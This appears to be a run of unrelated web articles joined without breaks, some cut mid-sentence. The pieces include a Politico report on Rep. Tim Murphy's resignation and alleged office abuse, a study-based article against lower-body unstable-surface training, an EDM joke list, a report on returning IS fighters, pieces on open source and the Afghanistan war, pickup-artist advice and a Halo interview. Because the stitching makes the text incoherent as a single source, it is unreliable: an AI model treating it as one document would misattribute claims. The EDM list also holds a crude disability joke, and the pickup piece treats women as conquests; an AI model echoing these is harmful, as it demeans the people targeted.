The Santa Barbara County Sheriff’s Office, Santa Barbara County District Attorney’s Office, Department of Justice Crime Lab and the FBI assisted in Chen’s arrest.
Chen will appear in Santa Barbara Superior Court on Feb. 16.
PrintRep. Tim Murphy, a staunch anti-abortion advocate, thought he could withstand the media furor that engulfed him after reports that he’d encouraged his extramarital lover to end her apparent pregnancy.
He was wrong.
Story Continued Below
Just one day after announcing he would retire after the 2018 election, Murphy reversed course and told Speaker Paul Ryan he was resigning effective Oct. 21. Murphy’s abrupt decision ended a 15-year career on Capitol Hill in a shocking manner. The 65-year-old Pennsylvania Republican was so safe in his conservative district that Democrats hadn’t even fielded an opponent against him during the past two election cycles.
Ironically, Murphy’s swift collapse came not because of text messages he sent to a woman with whom he was having an extramarital affair, encouraging her to have an abortion as first reported by the Pittsburgh Post-Gazette on Tuesday. In fact, fears among senior Republicans about a potential wave of negative stories on how Murphy ran his congressional office were what ultimately pushed him out the door.
Multiple top House Republicans during the past 24 hours pressured Murphy to resign once it became clear that the House Ethics Committee might have to investigate allegations tied to his reported mistreatment of staffers. Numerous GOP sources were aware of systemic problems in Murphy’s office, including high staff turnover, which had been the topic of gossip and speculation for years.
The Post-Gazette had reported on a June 2017 memo in which Murphy’s longtime chief of staff, Susan Mosychuk, warned the Pennsylvania Republican that he was mistreating and “harassing” staff, causing 100 percent turnover.
But Mosychuk is a source of controversy herself.
Sign up here for POLITICO Huddle A daily play-by-play of congressional news in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
A number of former Murphy staffers told POLITICO that it was Mosychuk’s behavior that drove them to leave Murphy's office. And these ex-aides said the combination of Murphy and Mosychuk — who had a close personal relationship, according to GOP lawmakers and staffers — made the situation intolerable. Mosychuk was promoted to Murphy’s chief of staff in 2004, just a year after becoming his legislative director.
According to these aides, Mosychuk regularly engaged in brutal verbal abuse of lower-ranking aides, from calling aides “worthless” and their work “garbage” to asking derisively, “Do you or do you not have a fucking college degree?”
Ex-staffers said Mosychuk kept white noise machines throughout Murphy’s congressional office so constituents waiting in the front room couldn’t hear her screaming. If Mosychuk was angry at staffers, she would make them take the stairs instead of the elevator, so they couldn’t ride with her, according to one former employee who witnessed it.
Mosychuk would even call staffers out of their bathroom breaks to demand they return to the office, or yell at them for taking too long to use the restroom. Many younger aides did not take lunch breaks, eating at their desks because they were scolded for leaving. One new employee quit after just a couple days because he was dressed down for using a paper clip instead of a staple on a briefing packet, multiple sources said.
“It was one of the worst places I have ever worked in my life. There was screaming. Intimidation. Nothing you ever did was right,” Nick Rodondo, Murphy’s former district director, told Pittsburgh radio station KDKA’s “Marty Griffin Show.”
Rodondo said the two of them were fond of each other — he said he saw them feed each other at events — but terrible to many others.
“Susan Mosychuk was no better than [Murphy]. She wrote that memo to cover her butt," he continued. "I know, Marty. I know what these people are like. To call them creeps is an affront to creeps.”
Prior to his resignation, POLITICO had begun seeking information from Murphy office’s about whether Mosychuk earned more in outside income than was allowed under House rules. For several years, she received payments from Murphy's congressional office as well as his campaign.
During 2008, Mosychuk was paid $231,500 — $156,500 for her official duties and $75,000 from the campaign, according to House disbursement records and her annual financial disclosure form. But permissible outside income for top aides that year was capped at $25,830, according to the House Ethics Committee.
In 2010, Mosychuk earned nearly $158,600 for her congressional duties and reported more than $47,000 in income from the campaign, according to her disclosure report. House rules capped such outside income at $26,550 that year.
Mosychuk, through a Murphy spokeswoman, said she took “leave without pay” from her official duties to do campaign work and was therefore allowed to earn more than the ethics threshold permits.
“Ms. Mosychuk’s salary and compensation is documented, reported and in full compliance with all the rules prescribed by the House Committee on Ethics,” Carly Atchison, Murphy’s communications director, said in a statement. “As a matter of public record, this includes both her congressional salary and compensation earned from the campaign while on [leave without pay] status in 2008 and 2010, fully documented and compliant with House rules.”
However, House disbursements records show Mosychuk was paid every quarter of that year and does not appear to have taken more than a few weeks off. The only time her pay dipped in 2008 was in the third quarter, when she earned about $7,000 less than her usual salary, a loss of roughly two weeks’ pay. Mosychuk was paid $75,000 from Murphy’s reelection campaign that year, far more than she could have normally earned during such a short period for political work.
In the third quarter of 2010, Mosychuk similarly made about $8,000 less than her usual quarterly earnings, though she earned $47,000 from the Murphy re-election committee. Again, this suggests Mosychuk was being paid an inordinate amount for political work covering a relatively brief time-frame.
Mosychuck did not respond to questions about her political work.
Ethics experts said that such a high campaign salary for what would have been a relatively short time on leave might violate the spirit, if not the letter, of House rules.
"There is a rule about outside income, and it is a serious matter to violate that rule," said Larry Noble, senior director and general counsel at Campaign Legal Center, a campaign watchdog group.
Murphy’s office did not respond to the allegations of Mosychuk’s alleged verbal abuse of former workers. Some said they’ve gone to therapy or that it took years to rebuild their self-confidence.
“I tried to forget all of it because it was so horrible,” said one former Murphy employee. “Screaming was an everyday thing. The manipulation and the mind games. … Everybody in that office was depressed.”
Another former staffer called it a “culture of intimidation” while a third said, “It took me a long time to have any confidence in myself.”
Murphy’s career started to unravel in early September, when he was forced to admit to an affair with Shannon Edwards, a Pittsburgh-area psychologist half his age. Edwards’ husband had sought to depose the congressman as part of their divorce proceedings. Murphy fought the deposition, which would expose the affair to his constituents, but lost in court.
On Tuesday, the scandal erupted when the Post-Gazette reported that Murphy had suggested Edwards get an abortion during a pregnancy scare, citing leaked text messages between the two.
“And you have zero issue posting your pro-life stance all over the place when you had no issue asking me to abort our unborn child just last week when we thought that was one of the options," Edwards texted to Murphy in late January, according to the Post-Gazette.
Edwards was responding to a Facebook post by Murphy, touting his anti-abortion position in Congress. Murphy is a member of the House Pro-Life Caucus and voted this week for legislation to ban abortions after 20 weeks.
The story also highlighted a toxic work environment in Murphy’s office, pointing to Mosychuk’s memo, which she titled: “Office Conduct and Behavior: Harassment/Legal Compliance.” Mosychuk accused Murphy of causing 100 percent turnover in the office because of a “pattern of sustained inappropriate behavior.”
Mosychuk warned Murphy that his actions could be seen as “harassment” of staffers. She highlighted two June incidents in which Murphy was “storming around as we walked in, and as we sat down for prep — having just arrived literally moments ago — you started in on the [legislative director] and verbally abused him, harassed him, chastised him and criticized all his work products.”
“You called many of the work products that he literally gave up his weekend to produce as ‘useless,’” Mosychuk wrote in the memo. “You pushed other documents off the table onto the floor because they weren't what you wanted. Then you got angry and demanded we find the documents that you had just thrown on the ground.”
Several ex-employees who spoke with POLITICO, however, said that while Murphy was a tough boss, Mosychuk was the real reason they quit their jobs. They were flabbergasted that Mosychuk dressed down Murphy for conduct she regularly engaged in herself.
“The description in the memo is not what he does; it’s what she would do,” said one ex-staffer. “She was the one who would verbally abuse staff. He was bad, but you can deal with a tough member. She was literally terrorizing people.”
Murphy’s and Mosychuk’s treatment of staff has long been known on Capitol Hill. Senior Republican lawmakers and aides said they often sympathized with people who worked there after hearing horror stories.
One former staffer said another aide in the different Capitol office once insisted on doing something nice for her because "I know you work in Murphy's office and could use something good." That same staffer would later go on to encourage people coming into the Murphy office for interviews, or applying to work for the congressman, to turn around and run.
“I would say, ‘You don’t want to be here unless you’re going to be homeless tomorrow,'" she said.
Asked why they never reported these actions to the Office of Compliance, which oversees employment matters in Congress, two former staffers said they looked into the matter but were afraid it’d get back to Mosychuk and that she and Murphy would ruin their careers.
"It’s not like a private company where you have an HR department," said one former Murphy employee. "It was a culture of abuse and a culture of corruption. There really is no oversight."Here's what you need to know...
Poorly-designed studies have provided conflicting results from balance board training, showing some benefits to ankle health but an increased risk of knee injuries. One well-designed study connected unstable surface training to an overall decrease in athletic performance. It only takes a few sets of unstable training in each workout to add up to big improvements or big problems. Unstable training is best used for upper body work, like sitting or lying on balls while training. For lower body work, keep your feet on solid ground and find other ways to introduce instability.
Useful Tools or Personal Trainer Toys?
In the late-1990s, unstable surface training (UST) exploded in mainstream popularity and exercise balls (a.k.a. Swiss balls), BOSU balls, and small inflated discs were littered across every gym's floor.
Over the years, these tools earned a certain level of notoriety. Hardcore powerlifters and bodybuilders often trashed this style of training and avoided training on exercise balls because it didn't get you bigger or stronger.
Meanwhile, many personal trainers went all-in and began using these new toys exclusively, having beginners and deconditioned folks doing nothing but core-intensive Swiss ball-based workouts. They ended up giving the term "functional training" a bad rap.
For my Master's thesis I spent two years designing a study, programming and training our subjects, and collecting and analyzing data. We were the first researchers in history to look at the effects of 10 weeks of unstable surface training on performance in healthy, trained athletes.
The end result was a publication in the August 2007 Journal of Strength and Conditioning Research, titled "The effects of ten weeks of lower body unstable surface training on markers of athletic performance."
Here's what we learned.
Exercise Balls Started as Physical Therapy
UST was originally applied in clinical rehabilitation settings, like physical therapy, particularly to address ankle issues.
Following an ankle sprain, many patients develop functional ankle instability. Basically, the peroneals (muscles on the outside of the lower leg) fire slower, leaving you with less protection against re-sprains.
Fortunately, research had already demonstrated that this deficit could be addressed by adding UST, which can improve sensory function, meaning that the central nervous system received better feedback to improve the motor signals it sent out.
With the success therapists saw using UST for functional ankle instability, they eventually began applying it to other populations. Most of the studies at the time were poorly designed, either not accounting for previous history of injury, not having a simple control group, or simply by being too short in duration.
There were some favorable outcomes, but there were also some huge red flags and conflicting reports.
The Studies, For Better and Worse
Two particular studies question the injury prevention benefits of unstable surface training interventions in healthy athletes in light of two particular studies.
A 2004 study found that balance board training did reduce the rate of ankle sprains in volleyball players, but this reduction was limited to players with a previous history of ankle sprains while healthy athletes saw no preventative benefit.
The same study also found that overuse knee injuries increased in some players when using UST.
Another study looked at elite female soccer players and found that balance board training did not decrease the rate of significant lower extremity injuries. Major injuries, including anterior cruciate ligament (ACL) tears, were actually higher among those doing unstable training.
It's simply not clear-cut enough to say that UST will reduce the risk of injury in most athletes compared to exercises on stable surfaces. But what about making athletes bigger, stronger, faster, and more agile?
Because strength and conditioning training has historically focused primarily on the motor side of things, there could be some merit to emphasizing the sensory component.
Basically, training the more "subtle" ways the body responds to different stimuli – like standing on a surface that shifts from side to side.
This is where we came in with good science and a well-designed approach to see if UST could improve those qualities in healthy, trained athletes.
The Definitive Study
Our subjects were members of an elite collegiate soccer team, matched for age and position, and then randomly assigned to either a control group (training only on stable surfaces) or an experimental group (training on both stable and unstable surfaces).
Everyone had at least six months of consistent strength training and zero experience with unstable surface training. Also, athletes were excluded from the study if they'd had ankle sprains in the previous six months. We wanted to make sure that we were training people, not just "accidentally" rehabbing them.
We thoroughly pre-tested all the athletes with two different jumps, a 40-yard sprint, and an agility running drill, then we began a 10-week strength and conditioning program. The training program for the groups was approximately 98% identical.
The key difference was that the experimental group performed unstable surface training with one lower body exercise in each workout.
The unstable surface training consisted of variations of exercises such as squats, deadlifts, lunges, single-leg squats, and single-leg balances, performed for 2-5 sets of 5-15 reps (or for a certain duration, in the case of balance exercises), and it was all done on 14-inch inflatable rubber discs.
Both groups of athletes still lifted hard whenever they were on stable surfaces, including Olympic lift variations, squats, and deadlifts, all with challenging loads. We simply incorporated UST for one exercise per session, which ended up as a whopping 2% of their overall training volume.
The guys busted their butts for us, and after 10 hard weeks of intense training, we tested them again on the same two jumps and two runs.
What We Learned
Before training, the groups had no difference in their jumps, but after, the stable training group showed improvements in both jumps while the UST group had no significant improvements in either one.
In the 40-yard sprint, there were again no differences between groups before the training, but both groups did see improvements in their sprint time. However, the stable group improved significantly more than the unstable group.
Interestingly, the unstable group was, on average, 0.04 seconds faster than the stable group during pre-testing, but was actually 0.06 seconds slower at post-testing. In high-level athletics, that tenth of a second can easily mean the difference between going home as champs or going home empty-handed.
There were no differences between groups for agility test, and while both groups improved significantly from baseline to post-testing, there wasn't a significant difference between the two groups.
It should be noted, however, that the stable group had a slower average time by 0.09 seconds at pre-testing, but was actually 0.03 seconds faster than the unstable group at post-testing.
What does this all mean? Well, a measly little 2% adjustment to a training program may not sound like much, but it can obviously have a tremendous impact on a program's success, or lack thereof.
The Problem(s) with Unstable Training
All the possible explanations for the differences between the test groups come back to the fact that UST ignores the principle of specificity of training, at least in the lower body.
Almost all athletes perform on stable surfaces and any instability is applied further up the kinetic chain. In athletics, the stable base is the feet, while the torso and arms are generally the parts being put under the most "instability."
This is why UST could be more useful when training the "core" and upper body rather than the lower body. This would mean movements where the lifter is either seated or lying on a stability ball while performing various exercises.
In the meantime, lower body instability training should be used in much more sport-specific ways via different training methods on stable surfaces. It's all about specificity.
When a running back sprints downfield and gets tackled, the ground never moves underneath him even when his legs or body get hit other players.
Thinking in terms sports-specificity, most athletic movements take place at high velocities and involve the stretch-shortening cycle (SSC) to a great degree.
Unstable surfaces lengthen the pause between the eccentric and concentric phase of SSC movements, so the force production that follows eccentric preloading is considerably less. It's like trying to jump out of sand. You just can't generate enough force because of any stored elastic energy is lost before you can activate it.
Sure, UST may positively impact function in athletes with previous injuries and related proprioceptive deficits. But the bigger problem is that UST impairs SSC function in healthy athletes.
As they say in the sports world, "If you train slow, you'll be slow." And UST forces you to train slowly.
There's a Time and Place for UST
Regardless of what we've seen in practice and in our studies, some folks will still try to justify the use of unstable devices by claiming, "We're using these devices to train balance, not strength and power!"
Fair enough, but you can train balance just fine using stable surfaces, and without needing to compromise any power-related athleticism.
More importantly, balance and proprioception are both skill-specific, and they would be better trained on the same surface present in competition (or real-life, for that matter).
In fact, we've known this for almost 50 years! In 1966, a study found little carryover from static skills (like UST) to dynamic balance skills. This data was confirmed in another study 35 years later.
Basically, if you're trying to improve balance, you better tell me exactly what kind of balance you're improving and for what specific purpose. Otherwise, football players would dominate the ice the first time you put them in hockey skates.
One of the most commonly cited arguments against UST is that it doesn't allow for adequate resistance to provide for strength gains, and that's true. If you squat 405 standing on solid ground, you're not going to squat 425 standing on inflated discs.
UST can actually interfere with the power increases athletes should experience with concurrent stable surface training. In other words, when coaches and trainers implement UST with clients in an attempt to improve proprioception, they're actually negatively affecting other athletic qualities.
Unstable Training for the Lower Body
So what do we do instead? It comes back to specificity.
For example, a destabilizing element could be applied further up the kinetic chain, with the athlete's feet fixed on the ground, essentially simulating what happens when a football player is tackled. Anti-rotation drills in half-kneeling, tall kneeling, and standing positions are good examples.
Single-leg exercises are, by nature, instability training because of the smaller base of support. And, when you use variations where the weight is positioned at the shoulders, you further increase the amount of instability because the center of mass is moved farther from the base of support.
Uneven loading also has merit, as the off-center positioning moves the center of gravity closer to the edge of the base of support, so the athlete must counteract it with muscular activation.
This applies to the cable exercises noted above, as well as rotational medicine ball drills, and also to asymmetrically loaded drills like one-arm farmer's walks and one-arm lateral lunges.
Additionally, classic agility or change-of-direction drills definitely constitute sport-specific instability training because they shift an athlete's center of gravity within his base of support.
To increase the challenge of these drills, movement speed can increase or the base of support can become smaller (e.g., single-leg rather than double-leg deceleration).
Unstable Training for the Upper Body
In addition to "just" rehabbing the lower body, there may be some merit to utilizing upper body UST when we want to maintain muscle activation but reduce stress on the joints. A 2004 study noted that UST allowed muscle activation to be maintained while imposing lower joint torques.
This would be perfect for deloads when a lifter needs to recuperate with lower loads. But again, I'd only recommend using this approach with upper body exercises. One great example would be deloading the barbell bench press by substituting in a stability ball dumbbell press |
than the Diplo girls.
73. That One Friend Who Only Uses Acid and Molly for ‘Spiritual Reasons'
Because drug use needs rationalization I guess?
74. Guy with 300 hat pins.
Trades only
75. Guy Who Loved Hardwell Two Months Ago and Now Only Listens to Drumcode
Swedish Techno has an alluring quality I guess…
76. Myles Shear
Manager Extraordinaire
77. That Inexplicable Three Six Mafia/Tiesto Collab…
We didn't forget about that Tijs
78. The Blown Out Sub in your Car from Excision's Shambala Mix
79. Ground Scores After the Festival
80. TomorrowWorlds Preparation Plan for Rain
81. Porter's Sad Boy Emoji
82. Flumes Contract with the Devil to Produce Flawless Music
This is really the only explanation…
83. Deadmau5's Shameless CSI Miami Cameo
At least it wasn't on Law&Order SVU?
84. Kaskade
Yeah on our poll too motherfucker.
85. Zac Efron
He was in that movie nobody saw.
86. That Friend Who Says his Favorite Song is ID
Some people need to be explained things a little more than others.
87. The Fact Corey Feldman has Gotten Away with Being skrillex for this Long
The resemblance is uncanny…
88. The All Natural Dreadlocked Individual Who Won't Even Take Advil but Accepts Suspect Powders from Strangers
Usually accompanied by a deep smell of Patchouli
89. Molly Water
Whoever invented this, is as close to handicapable (or whatever is PC these days) as possible…
90. That Couple Who Uses a 10 Person Tent at the Festival
‘Okay, we get a 10×10 plot of land'
91. Shpongles DMT Budget
Divine Moments of Truth huh?
92. Spoon U
The most monster collab ever. Using only spoons
93. Frat DJ Pulling Exclusively from Spotify Playlist
‘Shit a transition is coming up, better backspin or fade out, then in!'
94. Steve Aoki's Emaciated and Delirious Personal Baker
‘Maybe we should eat the cake this time?…no?…okay nevermind…'
95. The Wrist Fungus Formed From Refusing to Remove Years Old Festival Bands
96. A-Traks hat
Self Explanatory
97. DJ Hanzel
He went 97 Deeper this time.
98. Jason Ross, Proud Member of A&B
99. Justin Kleinfeld
Honestly, one of the hardest working people in the game.
100. Girl on Dudes Shoulders in Front of You
She gets a clear view, hes getting a killer shoulder and core workout, and you get shade. So stop bitching.
With that folks, that is the end of this years list. Laugh at yourself industry, because we are all so shot out in our own ways. Eat your heart out DJ Mag, and get it together.JIHADISTS returning to Germany from fighting with the Islamic State group in Syria and Iraq have revealed the extent of the terrorist militia’s brutality against its own members, according to a newspaper article.
Some 200 German jihadists have returned from the fighting and one in five of them is co-operating with German security services and giving details of the time spent with IS, the Sueddeutsche Zeitung reported on Saturday.
Many of the returning fighters speak of a climate of fear, mistrust and mercilessness. One spoke of being taken to a “slaughterhouse” because he refused to hand over his passport. The walls and floor were covered in blood.
He also told of a headless corpse being tossed into his sleeping quarters.
Suspected informants are tortured, shot or beheaded, the report said.
One returning fighter spoke of a newcomer being executed merely because he had hidden his mobile phone. The terrorists are afraid that US drones can lock onto the positioning data of mobile phones.
There were also reports that fighters who tried to leave the country without the written permission of an emir were shot.
Some fighters spoke of brutal tests of their courage, including being ordered to murder people just to show that they could follow orders from IS.
Some 50 fighters have returned to the German state of North Rhine Westphalia. The authorities there are most concerned about the brutalised, battle-hardened jihadists among them. They estimate around 10 men belong to this group. The remaining fighters are traumatised or disillusioned, according to the report.Open source software is nothing new. The roots go back to the 1980s from a global community of programmers who created free software. But the movement got a huge boost in the 1990s because of the Internet. If anything, this rapidly growing open-source community essentially became one of the first social networks.
But there was always skepticism. After all, how can you really trust open source software? Was it really good for enterprise-level applications?
Well, it seems that such arguments are quickly fading away, especially as seen with the success of standout companies like RedHat. But even the mega Internet operators like Facebook and Google have been major players.
Then again, there are many benefits of open source software. One, of course, is the price tag, which is usually at $0! Then there is the inherent flexibility and extensibility, since the source code is available for anyone to change. And finally, there is the “people” factor. In other words, given the fierce competition for tech talent, you can benefit from the efforts of top coders by using existing open source software projects.
But hey, as should be no surprise, this type of technology is not without its issues and challenges. “It can be difficult to implement if managing code, packages, servers, and so on isn't your core competency,” said Travis Oliphant, who is the cofounder and CEO of Continuum Analytics.
Yet this has been the entrepreneurial spark for him. You see, his company helps with the gap in the market for enterprise open data science technology, which is based on the Python ecosystem. “We bootstrapped the company with projects to build a platform called Anaconda,” said Travis.
It took some time and iterations. But the hard work has certainly paid off. As of now, Continuum Analytics has more than 200 of the Fortune 500 as users. Oh, and the company has been able to snag a Series A round of $24 million as well as $10 million in debt financing.
OK, if the software is free, how does a company like Continuum Analytics make money? Well, there is the “open core” model, which involves building value-add technology components as well as providing services and training. “Enterprise customers do not want a roll-it-themselves strategy,” said Travis.
But there needs to be a balance with the coders who develop the open source software, which can be extremely tricky to pull off. “Ensuring our future well being is synonymous with ensuring the well being of our community, and we have more than 60,000 developers as partners in this community,” said Travis. “But the fact is that there will be a lot of open source left-over from companies that fail to become profitable from it, however.”
So how big is the market opportunity? According to Travis, it's impossible to tell. But he believes that open source software represents a disruptive force.
"Open source touches so many parts of the market already," he said. "I expect that the equilibrium state will follow a power-law with the large majority of all software becoming open source with a long-tail of proprietary software."
Tom Taulli (@ttaulli) is an Enrolled Agent and the founder of BizDeductor, which offers services and apps to help save a bundle on taxes.White House officials are increasingly worried liberal, anti-war Democrats will demand a premature end to the Afghanistan war before President Barack Obama can show signs of progress. W.H. fears liberal war pressure
White House officials are increasingly worried liberal, anti-war Democrats will demand a premature end to the Afghanistan war before President Barack Obama can show signs of progress in the eight-year conflict, according to senior administration sources.
These fears, which the officials have discussed on the condition of anonymity over the past few weeks, are rising fast after U.S. casualties hit record levels in July and August.
Story Continued Below
The aides also expressed concern that Afghan election returns, still being tallied, will result in a narrow reelection for President Hamid Karzai that could result in qualms about his legitimacy — “Tehran II,” as one official put it, in reference to the disputed Iranian election.
The result: some think Afghanistan — not health care — will be the issue that defines the early years of the Obama administration.
“There’s no question that the drumbeat is going to get louder and louder on the left, and you’ll see some fall-off on the right,” said Matt Bennett of the think tank Third Way, the moderate voice of the progressive movement. “His supporters on the Hill are fighting a really serious political battle to keep the criticism under control.”
The Afghanistan conflict, which has gotten relatively little attention in part because Obama talks far more often about domestic concerns, is roaring back to the top of the Obama agenda as Congress is about to return from weeks of meetings with often unhappy voters.
Sen. Russ Feingold (D-Wis.) last week called for a timetable to pull U.S. troops out of Afghanistan — the same tactic he and other war opponents used to build congressional support for forcing an end to the Iraq war.
But Obama officials — including National Security Adviser James Jones and Defense Secretary Robert Gates — know the problem is much bigger than Feingold and timetables. They anticipate a growing number of anti-war liberals will call, with increasing force, for an end to the conflict when lawmakers return. Cost could become an issue, too. With deficits high, there will be heavy pressure on Obama to find savings somewhere in 2010 — and war critics see Afghanistan as a good place to start.
George F. Will opened a new fissure among conservatives with a column Tuesday calling for the U.S. to pull all ground troops out of Afghanistan, on the theory on the French general Charles de Gaulle that genius “sometimes consists of knowing when to stop.”
But it’s Democratic opposition that could force Obama to retreat on what he has called a "war of necessity."
To try to salve critics, the administration has been developing a series of numerical indicators, scheduled to be sent to Capitol Hill by Sept. 24, that are designed to sharpen U.S. goals by measuring everything from civilian deployments to the proportion of the Afghan population that is secured.
Pentagon press secretary Geoff Morrell told POLITICO: “We have to show the American people that all this effort, all these resources, all these lives are making a difference.”
White House officials expect that a whole new national conversation about what the U.S. is doing in Afghanistan, and how, will be prompted by recommendations for strategy adjustments that Army Gen. Stanley McChrystal, the U.S. commander in Afghanistan, made in an assessment of the war that went to the Pentagon on Monday and is likely to be delivered to the White House in the next week.
McChrystal held off from requesting additional troops in the assessment, but administration officials expect he will ask for at least 10,000 more soldiers and Marines later this fall, on top of the 20,000 additional troops Obama authorized in February and March.We are honored to welcome Dr. George Church as the newest member of SENS Research Foundation's Research Advisory Board. Our RAB plays a key role in our mission to change the way the world researches and treats age-related disease. By applying expertise from multiple relevant areas, the Board assures that efforts and resources are directed along the most promising avenues.
Dr. Church brings relevant expertise in a number of fields, genetics in particular. He is Professor of Genetics at Harvard Medical School and Director of PersonalGenomes.org, in addition to being the author of the book, Regenesis: How Synthetic Biology Will Reinvent Nature and Ourselves. His 1984 Harvard PhD included the first methods for direct genome sequencing, molecular multiplexing & barcoding, which led to the first commercial genome sequence in 1994.
His innovations in "next generation" genome sequencing and synthesis & cell/tissue engineering resulted in 12 companies spanning fields including medical genomics and synthetic biology as well as new privacy, biosafety & biosecurity policies. He is director of the NIH Center for Excellence in Genomic Science, and his honors include election to NAS & NAE and Franklin Bower Laureate for Achievement in Science.I get it, it’s fun to come up with interesting openers and neat little tricks to start a conversation with a girl. It’s also necessary, because every interaction pretty much begins with an approach, either from you to her, or her to you. Having to count on women approaching you is greatly inefficient so being able to approach women is a crucial and necessary skill. However, it is far from the only skill, and the reality is, way too much time is spent trying to perfect approaching, opening, etc. when what really matters is what happens AFTER the approach.
Approaching is about delivery
One of the key reasons why I encourage you to move beyond finding the best openers and the best ways to approach women is that approaching is more about delivery than content. In other words, too many guys over think approaching women.
Take online dating for instance: I get a response rate writing: "alsdghalsdhgdg" to women as a first e-mail. The reason is my profile is great, so what I write really doesn’t matter as much as where it is coming from. At the bar, I can go up to a girl and say some idiotic thing like: "purple monsters or red dinosaurs" and if I approach her confidently she will likely respond positively. Openers are nice to have if you need a plan, but I assure you the majority of men who are very successful with women don’t use "canned" openers. They know that ensuring the delivery is airtight is what matters. They also know starting the conversation is only a small part of the battle.
Starting the conversation is only a small part of the battle…
When you go out for a night on the town, how many girls do you talk to actually end up actually meeting you for a date. How many end up sleeping with you? Even for the best of us it is a small fraction of those we interact with. I think if you successfully sleep with even 10% of the women you approach in a night, you are among the very best "pick up artists" in the world. I remember overhearing Pick up expert Paul Janka (who is also tall, good looking, and has a Harvard degree) mentioning he maybe sleeps with only 11% of the women whose numbers he gets! That means even if he got the number of EVERY GIRL HE APPROACHED, nearly 90% of the battle would happen later. Naturally, even the best do not get a number from every girl they approach so realistically, even if you are good, maybe 5% of the women you approach end up sleeping with you.
This is the critical point and worth reemphasizing: 90%+ of your success comes after your initial approach. How you interact after the first minute, how you build attraction, how you build comfort, and how you handle logistics and close are all way more correlated to success than simply what you say to get the conversation started.
The 90% is going to determine your success
Don’t get me wrong, you have got to be able to approach women, but always remember, at least 90% of your actual success is going to be determined by the actions you take after you kick off the interaction. The game is played after contact begins, not before. Initial contact just means actually showing up on the court. That matters, but it won’t win you any games.
Can’t even show up to the game? Have issues with approach anxiety? Read our 6 Ways to Combat Approach Anxiety.
Want a crash course on the basics of women and attraction? Get it for free here!One Raymond James advisor has gotten a surprise plug -- by name, and on live TV -- from NBA Hall of Famer Charles Barkley.
During an interview with CNBC on the floor of the New York Stock Exchange on Thursday, "Sir Charles" was asked about his investment strategies. When host Bob Pisani asked Barkley who managed his investments, the former NBA star went on to praise his advisor by name.
"Raymond James. I'm [at] Raymond James. Birmingham, Ala. My guy's name is Glenn Guthrie. I've been with him for 27 years and I trust him with my life," the former basketball star said.
That time frame would suggest that Guthrie has been worked with Barkley for almost all of the advisor's career. The 28-year industry veteran has worked with several firms in the past -- including Wachovia Securities, Prudential and UBS -- but has been an independent Raymond James advisor since 2008, according to FINRA records.
Guthrie declined to comment on Barkley's praise.
Managing celebrities and athletes' wealth -- which can occur in feast-or-famine bursts -- can present a challenge for advisors. Athletes in particular can be difficult clients because while they can amass great wealth, they often overspend or have to deal with uncertainty about the length of their careers, one former NFL pro has noted.
Yet not all sports stars have had the positive experience that Barkley cites. In September, Ex-New York Yankees Jorge Posada and Jorge Contreras said their financial advisors stole millions of dollars in assets after leading the players into a series of bad investments.
Read more:This week, you learned more of what’s to come in Halo 5: Guardians, and saw new sneak peeks at Halo: The Fall of Reach. You’ve listened as Maya’s situation rapidly escalated from bad to worse in the latest episode of Hunt the Truth. You’ve joined us in the celebration that Halo 5 has gone gold, which means that everything is just beginning. Not just for you, but for us as well. This week, we’ll take a closer look at Halo: The Fall of Reach – The Animated Series, more new Forge tricks, the upcoming MCC update, and more. Let’s get into the details.
That’s Our Boy
If you aren’t yet familiar with Elysium City Primary Education Facility No. 119, or the origins of subject Number-117, you’re in luck, and you’ve come to the right place. As we announced at E3, Halo: The Fall of Reach – The Animated Series (which tells the origin story of the Master Chief and the SPARTAN-II program) is on the way and will be included with the Digital Deluxe, Limited Edition, and Limited Collector’s Edition of Halo 5: Guardians. The animated epic releases on launch day, and since we’re getting awfully close to that date, I grabbed some time from Executive Producer Kiki Wolfkill to get the latest.
Bravo: Hey, Kiki! The last time we had a chance to talk with you about The Fall of Reach was July, and lots has happened now that we’re less than three weeks away from launch. First things first – where are we at? Are all aspects of post-production wrapped up?
Kiki Wolfkill: At this particular point, the edit is final, the sound mix has been final for a little longer, and on an animated project, the concept of color balance and IQ – that is - image quality finalization is a little different so as far as the picture’s concerned, tiny tweaks and fixes and improvements. But that doesn’t mean it’s all done – the team has to work on materials to support the launch, like trailers, images for the menus and so on. So I’m hesitant to say it’s 100% finished, but it’s pretty close.
The latest trailer just dropped yesterday – can you tell us about a few of things we get a sneak peek at?
Honestly you’re seeing the main themes and tone of the film. Folks who’ve read the book or the comic book adaptation will be familiar with the main elements of the plot, but the fact is many Halo players haven’t, so we tried to make sure we saved some surprises for them. You do get a glimpse at Sequence’s distinctive animation style, a combination of highly stylized imagery and sophisticated 3D CG is unique, and it’s evolved specifically for this project. The 3D CG actually uses a combination of hand built and heavily modified assets from the game, but you’re also seeing a lot of the custom work – like seeing Chief’s Mjolnir armor design – a design that’s modeled to be authentic to the original game, but without the fidelity constraints the original Xbox had to endure. In fact, you’ll see that armor evolve in the series’ chronology.
What have been some of the key steps in the collaboration process with Sequence? How do you ensure we get everything right?
Sequence has been an incredible collaborator, and the process has basically been us joined at the hip for much of this year. The first step of course was a script. Heath Corson did a remarkable job capturing the essential elements and characters for this radical new way to look at a beloved story. After that it became very much an evolutionary process of storyboarding, iterative improvements, and of course, performance. We captured our actors first and Sequence animated to those performances. Hardly unique but we feel it’s the best way to get the essence of the performances into the animation. The sheer amount of data shuttled between Sequence’s Vancouver studio and 343 here in Kirkland has been astounding. Reviews, edits, suggestions for changes and improvements, cuts – and even the odd “Eureka” moment – those have come constantly from both sides as we work together to get it across the finish line.
As with any book, we’ve all got our own versions of how each scene from the story looks. When watching early review cuts this summer, I loved seeing how some of the early scenes from the book are depicted. Were there any specific parts of the story that you were really excited to tell?
We’ve added a moment or two in the service of the story, but you’re right, there are tons of scenes I wanted to see – the fight in the gym, the assault on Watts’ compound, but the stuff when they’re kids. It has an emotional undercurrent that can really be elevated with simple things like eyes and music. I think newcomers to the story will sometimes be shocked by some of the prevalent themes.
I’ve also heard murmurs about some really good music. Can you tell us anything about the score?
Tom Salta scored this for us, and we’ve worked with him before on Spartan Strike and Spartan Assault – and fantastic as those pieces were, I think he’s really outdone himself and created something really special here. Some of it is quite moving. But he also knows how to capture action perfectly.
Before we go, let’s talk about launch day. Would you recommend that fans fire up the Halo Channel and watch before pressing “start new campaign” in the Halo 5 main menu? I mean, that’s the only way to do it, right?
Absolutely. Fans should feel free to engage in any order, but I think if they watch this first, they’ll have a profoundly different appreciation for the nature of Blue Team’s relationship in the game.
Thanks for chatting with us, Kiki!
--
